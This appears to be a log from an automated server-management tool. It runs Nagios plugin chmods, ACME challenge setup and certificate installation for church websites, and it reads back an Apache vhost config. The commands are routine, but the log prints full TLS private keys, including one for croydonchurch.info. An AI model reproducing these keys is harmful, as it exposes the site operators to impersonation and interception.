1eJL2u8qmN2FSw+H5zHokB2Wg805ED+rd3jKghOX3Gb4+nFVL9WzHRos9Lt0EK3i
l/lzCfw9X1ma46wndNia0wFUS+0a1BlwAlzkv+Op3ZSN0ObBhj4QfGh9wyK7nWwm
mgUkeFgpAgMBAAECggEALDMBDgJOaRn/ZGDOjZ1ODdg6RqxBvxoP/vmRR7yQxk+i
vqaecR7Goy15CkUxPfSbctzVVzGWp7wVvG4X7xBJl6QDn2pqwmPBaOVLDHytjXN6
qTZLMRGTnXpAYnHTmGIElA0hM+I6TwuWK6uAkIFl/oNhdsGtXsCYHNFPoqhtsQSJ
Tlgi9pauN047j0XeoBx0Ql6MVth5f1HiBsE5LdYLj8IjIThkT5mlDoYAEa5XwF6Y
uIRCcQN3vSwyNYPjOYp73l4GYmARFn8TBDiptxGvJZjJ1yvSsA2ahhefRC0kjPvH
LqjTkMpUIlzkhgCo6CAiUiaI5yu8IpFZrbdaSEz24wKBgQD4nuGWD2D66C5k+lR+
NykPg8l/1G+o1FTuZqdt9MAx7UhGHts9hlL3rV5QAJHICPbTFFAgOBNqLgfQ692y
gu0KjuL8DxZbRgdf9LrNYAEMofsMCRhUm3zs3GNJK/ExblvGbIGdGvBhAXW2VT6d
JuOY314hJ24eV2OKRaemf1zM+wKBgQDok0mrhYwSc40oBgs831zulkHbqnmEAE2m
Xn+cRcsIqLmpm6835rs1r8KiThCSuQUw7CGl0ZVNgaqE3rBwGnp/q0AuVm5uQvkY
XaLsx+aWX0c1vvRgUorjVgiHmsb4rKcw9cn8B9qcUysYvbaCjy+577x+qECmZ8UF
Zj2yD+2eKwKBgAk61MMeZQpLjlVfWb2pzJNv4A4n09FfuJt1IigZ2vy/g1xfDuKU
1wWs4QB1VPQpKQijC2p2ynm5pb6i0wMqiyRGM7UJ1lmjGuj8C+dN9hwC82/58nZJ
o3Sjpef0gqrEHxIZuyIa+uuPA1C2j3GEHRTyzerLLPJhaiea+GNc/RP7AoGBAIg/
aOQTq1hP2zy8Na8mhzG6UsCWIPPknZi+OXHaLTRYa9PhwYc1Iy0zVwlwRCNAQrtD
Sf7zRc0PDk8iiihSSrsqHsJGnhD4KSdOC5k9Dme/T188C7u1/2loyDxwvumFc7ip
9Pcxvq7fxhqLYTUhHuuFd16XwK/7kJ82IySCUkjbAoGAEXyvBv7m0oytR0kuKWwx
A0J57N16ZAEa2KpQ0eaOJ/cVfcMCDI2qinOgzuzyaQBLGoyWXgi+l5yTOqFPOusb
Lwt3ZNZf8cTC2WfsoKkwLRRFYcpVHC5j7PySpkBUirvVsNi6mv/j//TM8RgM+AfL
J7G8s0k6NQX8jqLAY1K7zL8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-14 13:16:53: Establishing a connection
2026-01-14 13:16:54: Establishing a connection
2026-01-14 13:16:55: 

PUT: /tmp/pkp699903

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 13:16:55: 

chmod 755 /tmp/pkp699903; /tmp/pkp699903; rm /tmp/pkp699903

2026-01-14 13:16:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-01-14 13:16:55: 

systemctl reload nagios

2026-01-14 13:16:55: 




2026-01-14 13:16:56: 

PUT: /tmp/pkp494263

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-01-14 13:16:56: 

chmod 755 /tmp/pkp494263; /tmp/pkp494263; rm /tmp/pkp494263

2026-01-14 13:16:57: 


ok


2026-01-14 13:16:57: 

PUT: /tmp/pkp841431

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_toner.php'
echo ok


2026-01-14 13:16:57: 

chmod 755 /tmp/pkp841431; /tmp/pkp841431; rm /tmp/pkp841431

2026-01-14 13:16:58: 


ok


2026-01-14 13:16:58: 

PUT: /tmp/pkp384631

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-01-14 13:16:58: 

chmod 755 /tmp/pkp384631; /tmp/pkp384631; rm /tmp/pkp384631

2026-01-14 13:16:59: 


ok


2026-01-14 13:16:59: 

PUT: /tmp/pkp544661

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_website'
echo ok


2026-01-14 13:16:59: 

chmod 755 /tmp/pkp544661; /tmp/pkp544661; rm /tmp/pkp544661

2026-01-14 13:17:00: 


ok


2026-01-14 13:17:00: 

PUT: /tmp/pkp334581

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-01-14 13:17:00: 

chmod 755 /tmp/pkp334581; /tmp/pkp334581; rm /tmp/pkp334581

2026-01-14 13:17:01: 


ok


2026-01-14 13:17:01: 

PUT: /tmp/pkp867758

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-01-14 13:17:02: 

chmod 755 /tmp/pkp867758; /tmp/pkp867758; rm /tmp/pkp867758

2026-01-14 13:17:02: 


ok


2026-01-14 13:17:02: 

PUT: /tmp/pkp743661

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok


2026-01-14 13:17:03: 

chmod 755 /tmp/pkp743661; /tmp/pkp743661; rm /tmp/pkp743661

2026-01-14 13:17:03: 


ok


2026-01-14 13:17:03: 

PUT: /tmp/pkp784699

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-01-14 13:17:04: 

chmod 755 /tmp/pkp784699; /tmp/pkp784699; rm /tmp/pkp784699

2026-01-14 13:17:04: 


ok


2026-01-14 13:17:05: 

PUT: /tmp/pkp107629

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-01-14 13:17:05: 

chmod 755 /tmp/pkp107629; /tmp/pkp107629; rm /tmp/pkp107629

2026-01-14 13:17:05: 


ok


2026-01-14 13:17:06: 

PUT: /tmp/pkp680552

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-01-14 13:17:06: 

chmod 755 /tmp/pkp680552; /tmp/pkp680552; rm /tmp/pkp680552

2026-01-14 13:17:06: 


ok


2026-01-14 13:17:07: 

PUT: /tmp/pkp550732

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-01-14 13:17:07: 

chmod 755 /tmp/pkp550732; /tmp/pkp550732; rm /tmp/pkp550732

2026-01-14 13:17:07: 


ok


2026-01-14 13:17:08: 

PUT: /tmp/pkp962349

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-01-14 13:17:08: 

chmod 755 /tmp/pkp962349; /tmp/pkp962349; rm /tmp/pkp962349

2026-01-14 13:17:08: 


ok


2026-01-14 13:17:09: 

PUT: /tmp/pkp104413

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_encoder.php'
echo ok


2026-01-14 13:17:09: 

chmod 755 /tmp/pkp104413; /tmp/pkp104413; rm /tmp/pkp104413

2026-01-14 13:17:09: 


ok


2026-01-14 13:17:10: 

PUT: /tmp/pkp202660

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-01-14 13:17:10: 

chmod 755 /tmp/pkp202660; /tmp/pkp202660; rm /tmp/pkp202660

2026-01-14 13:17:10: 


ok


2026-01-14 13:17:13: 

PUT: /tmp/pkp333829

#!/bin/bash
dpkg -i '/usr/local/nagios/libexec/nagios-plugin-check-raid_4.0.9-1_all.deb'
ln -s /usr/lib/nagios/plugins/check_raid /usr/local/nagios/libexec/check_raid


2026-01-14 13:17:13: 

chmod 755 /tmp/pkp333829; /tmp/pkp333829; rm /tmp/pkp333829

2026-01-14 13:17:13: 


(Reading database ... 181814 files and directories currently installed.)
Preparing to unpack .../nagios-plugin-check-raid_4.0.9-1_all.deb ...
Unpacking nagios-plugin-check-raid (4.0.9-1) over (4.0.9-1) ...
Setting up nagios-plugin-check-raid (4.0.9-1) ...
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists




STDERR:
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists


2026-01-15 06:00:03: Establishing a connection
2026-01-15 06:00:03: Establishing a connection
2026-01-15 06:00:04: 

PUT: /tmp/pkp712325

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-15 06:00:04: 

chmod 755 /tmp/pkp712325; /tmp/pkp712325; rm /tmp/pkp712325

2026-01-15 06:00:04: 


1


2026-01-15 06:00:05: Establishing a connection
2026-01-15 06:00:06: 

PUT: /tmp/pkp557615

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > wjJhEN725te3bp1THQ0Pdwj0fQLI21lwlWi1Ma4vPc4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
wjJhEN725te3bp1THQ0Pdwj0fQLI21lwlWi1Ma4vPc4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 wjJhEN725te3bp1THQ0Pdwj0fQLI21lwlWi1Ma4vPc4


2026-01-15 06:00:06: 

chmod 755 /tmp/pkp557615; /tmp/pkp557615; rm /tmp/pkp557615

2026-01-15 06:00:06: 




2026-01-16 06:00:03: Establishing a connection
2026-01-16 06:00:03: Establishing a connection
2026-01-16 06:00:03: 

PUT: /tmp/pkp584559

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-16 06:00:04: 

chmod 755 /tmp/pkp584559; /tmp/pkp584559; rm /tmp/pkp584559

2026-01-16 06:00:04: 


1


2026-01-16 06:00:05: Establishing a connection
2026-01-16 06:00:05: 

PUT: /tmp/pkp460703

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > XhTURCvAoNOOxR_N0E_9Fnr2fLfo9oIA19aWCi330vE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
XhTURCvAoNOOxR_N0E_9Fnr2fLfo9oIA19aWCi330vE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 XhTURCvAoNOOxR_N0E_9Fnr2fLfo9oIA19aWCi330vE


2026-01-16 06:00:05: 

chmod 755 /tmp/pkp460703; /tmp/pkp460703; rm /tmp/pkp460703

2026-01-16 06:00:05: 




2026-01-16 06:00:07: Establishing a connection
2026-01-16 06:00:07: Establishing a connection
2026-01-16 06:00:07: 

PUT: /tmp/pkp883078

#!/bin/bash
if [ -d "/var/www/croydonchurch_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-16 06:00:07: 

chmod 755 /tmp/pkp883078; /tmp/pkp883078; rm /tmp/pkp883078

2026-01-16 06:00:07: 


1


2026-01-16 06:00:08: Establishing a connection
2026-01-16 06:00:08: 

PUT: /tmp/pkp214738

#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cat > HExD5FqPh_YfZ5MrQy3unG6thUMbL0B-HVI_sahD6zw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
HExD5FqPh_YfZ5MrQy3unG6thUMbL0B-HVI_sahD6zw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 HExD5FqPh_YfZ5MrQy3unG6thUMbL0B-HVI_sahD6zw
cat > RCVeHv_5ZnOiPYPh7ObgETHjo7t1i_e9Mb77sTpchlk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
RCVeHv_5ZnOiPYPh7ObgETHjo7t1i_e9Mb77sTpchlk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 RCVeHv_5ZnOiPYPh7ObgETHjo7t1i_e9Mb77sTpchlk


2026-01-16 06:00:08: 

chmod 755 /tmp/pkp214738; /tmp/pkp214738; rm /tmp/pkp214738

2026-01-16 06:00:08: 




2026-01-16 06:00:19: Establishing a connection
2026-01-16 06:00:19: 

PUT: /tmp/pkp669160

#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
rm HExD5FqPh_YfZ5MrQy3unG6thUMbL0B-HVI_sahD6zw
rm RCVeHv_5ZnOiPYPh7ObgETHjo7t1i_e9Mb77sTpchlk


2026-01-16 06:00:19: 

chmod 755 /tmp/pkp669160; /tmp/pkp669160; rm /tmp/pkp669160

2026-01-16 06:00:19: 




2026-01-16 06:00:19: Establishing a connection
2026-01-16 06:00:19: 

PUT: /tmp/pkp752306

#!/bin/bash
temp_file=$(mktemp)
TARGET=0bcccb20615b0c7868de66072345a8b6.crt

cat > $temp_file <<'endmsg'
82:60:6d:95:02:e8:d0:8e:1c:42:53:9a:b1:b0:d1:d2

-----BEGIN CERTIFICATE-----
MIIFITCCBAmgAwIBAgISBskgvdkw2pKmAQZmh7abanBxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE2MDUwMTQ4WhcNMjYwNDE2MDUwMTQ3WjAdMRswGQYDVQQD
ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDX4aZllbu4/LojcS+XQ56SdqABeio0wLZNpf2m5/LxIiB3e/2Fa1gRRfMP
yc2s6GD/DZRsSJtQHZlXQf9IN6SOayCotRJSgF0CjBdUaHmy5pxLEMpWQ1q3LBGd
RObPHPT7F4mbniJup/ezwu+DK3OtItU/DKMi8gmP+HX/tDfwe5y3JSw7jZLo/ZU1
rl2QpJJdL+7picQ7rWpESYZNoxMl9nF4c9tAavgYJ6OtVUaM+RjYcisHJZUcQ2e0
C4G2P5vqR1G/TVJRzlKmu1eZb+4efTmcW+iIJR9RYkcWctxdoSEUYCfUFI97RRzW
W6pJ0LZZxEi29glkaUdQZc2TalPZAgMBAAGjggJDMIICPzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFP0C3rhrXgxakha/5wLE4qzYi1wmMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY3JveWRvbmNodXJjaC5p
bmZvghZ3d3cuY3JveWRvbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE0LmNy
bDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB1AEmcm2neHXzs/DbezYdkprhbrwqH
gBnRVVL76esp3fjDAAABm8Vj6psAAAQDAEYwRAIgWlG5sA5+VUvKzOA/QD9+1WI5
YEwj/Qn5GgIiXUjv94QCIDvp1tCsDiSZo+74db02c/M0u4KRbmb3UwzZlsa8LOk2
AH8A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugAAAGbxWPrWwAIAAAF
AC+LYj0EAwBIMEYCIQDltc4CLV4VDYnkw7U9MN3MhDvHvCxcfD5jvlQp9vktZwIh
AKasC7SeL0af4UfI33EdaheZgalRiHvv4KjGhpHldzTgMA0GCSqGSIb3DQEBCwUA
A4IBAQAU9rQ1gHTGgOwN64aXnOhkf8GGYvJDSI4loVwmufeQnCjB6FcMtLd8hJEz
E4FCVD6Pu9oOsn3BY62Evnu/K1zmcP+qtlD+Qm5sZH3YbErmb8GOZsMPeTLhIenj
yRXAvuUsXB7cFz5kb/WFmK2+vK27WVdlauke6Stls7rWoJZ8WzWOLmIFGcFiHjxN
QNfphtrMHQY6ppystN9+PRurHndBqnPOrthS0+6h6iR4F+SSY+wgUPPTc3TcgHHY
CntMpNxV4GfrSlOWC4mh288dHJmcLIsoOx02jQV8sD/rBJIOa2W0R/A2Ka+Y7Lmg
S2oeQjGqFZHcIx/zmDQltjyUzEto
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDX4aZllbu4/Loj
cS+XQ56SdqABeio0wLZNpf2m5/LxIiB3e/2Fa1gRRfMPyc2s6GD/DZRsSJtQHZlX
Qf9IN6SOayCotRJSgF0CjBdUaHmy5pxLEMpWQ1q3LBGdRObPHPT7F4mbniJup/ez
wu+DK3OtItU/DKMi8gmP+HX/tDfwe5y3JSw7jZLo/ZU1rl2QpJJdL+7picQ7rWpE
SYZNoxMl9nF4c9tAavgYJ6OtVUaM+RjYcisHJZUcQ2e0C4G2P5vqR1G/TVJRzlKm
u1eZb+4efTmcW+iIJR9RYkcWctxdoSEUYCfUFI97RRzWW6pJ0LZZxEi29glkaUdQ
Zc2TalPZAgMBAAECggEAI38e9SUhsNEdaiZ6RM0BjeOje5qyxenKEApzIraQ48VQ
wVTJ4t47pNtzk+0CvKOZD1cUSJnHr+yuAgMADsfXbvN+cz8SvC4PHRQb4e0r1ZbF
rDIekwCQMf41Bz8FFJkWTxMXtVbTIo7L0+sBpvfGFXncxnk1edGCcQHRpTHk4M2l
LkApTrhWo/BJvZ1ldqSsikw0PVwnpC97yoV05ua/67anpkmui0XfKTLvWR7uWgvi
iEmyD1Fw0yUfUsH2TIPPRg4ipb5VlOV9N7lOFyuVwTNQfJ4cN/NWHTs1zQCP+my5
8347WxhbVy3E4deifGU64bBa5vS1M1u/MOsxtMzvYQKBgQDt/+kmGQJMcDKJdEbS
0VqPZtmFeCkSR9VNvB0+Fff/+8pNOZPkImwRz6iO42GKUX30mpUxGkTED3SUUqic
PomunjgLl3mC+oj49GJLJKCRDqZ10wVDXz7sY/0lHyi3I3m52CrBLAdSMgJUqURQ
QIxkzz5FM8HyU+4TXvqap5bUywKBgQDoNX37hMMF8U/B4AX44aNCp3LDri9aVJn3
C0d5Jbd0yv1/u7UWvPbcCt6qEshqfJ2fS9Oboqy9LPm4BApOmkABNVCinmWAM9kp
HA1FFJqaJRlu1bmkchRtcykBFPoD5ai5hcEd1cQbRyTY6PH/qnAMMqSAxevFh8+3
KHomkWTJawKBgHkhNT1xnwzeUapJpr4nVSsFEpJujKDENJjCtDNkJPuA3/6b3lxO
9KfAA67tpTgrr6ptfp8mGnea0h+nTi9vWM2psyabKnnyHwJuBxTtiFcrmKcBBn26
nSDc5vsct7E1+f8POPtl+DfqQetq1tztbUblf3DjHcPC2bm8LlnGD+svAoGAITFE
SOe5WOgdloEHWYQnaie1Z/NGIYtmVsHt/Ys+phs+ETwrroxkXR/QpE77Bv25KkQU
g3LFbmU3bO5m6sVx0LpmRFiP+btvl0jDPNStJMuYzxcN6kvET8DeY6Ez+8qgS6Sq
7jDYT23j/n2N2hXq3lN+4ElqYln/fxbyHwE5fvECgYEA3gmlvoVHIKd1a6pmJPBC
AwvP5jsaeLOBd+xDXoepX1SPeb9HTGnzM7FHuEl6v3E8Rc0UTuKJxksXJpPKET+o
u3yw5wCdcoGuoY58CVWRQRRphkIr2jtjRGTby4j1hZgWYpBx63n9NsAES0pVOpY9
PJARXCC6Lp4Y5FqLq7lYWEY=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-16 06:00:19: 

chmod 755 /tmp/pkp752306; /tmp/pkp752306; rm /tmp/pkp752306

2026-01-16 06:00:19: 


dir=/etc/ssl/certs


2026-01-16 06:00:19: 

PUT: /tmp/pkp622318

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/croydonchurch_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-16 06:00:19: 

chmod 755 /tmp/pkp622318; /tmp/pkp622318; rm /tmp/pkp622318

2026-01-16 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf 46

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
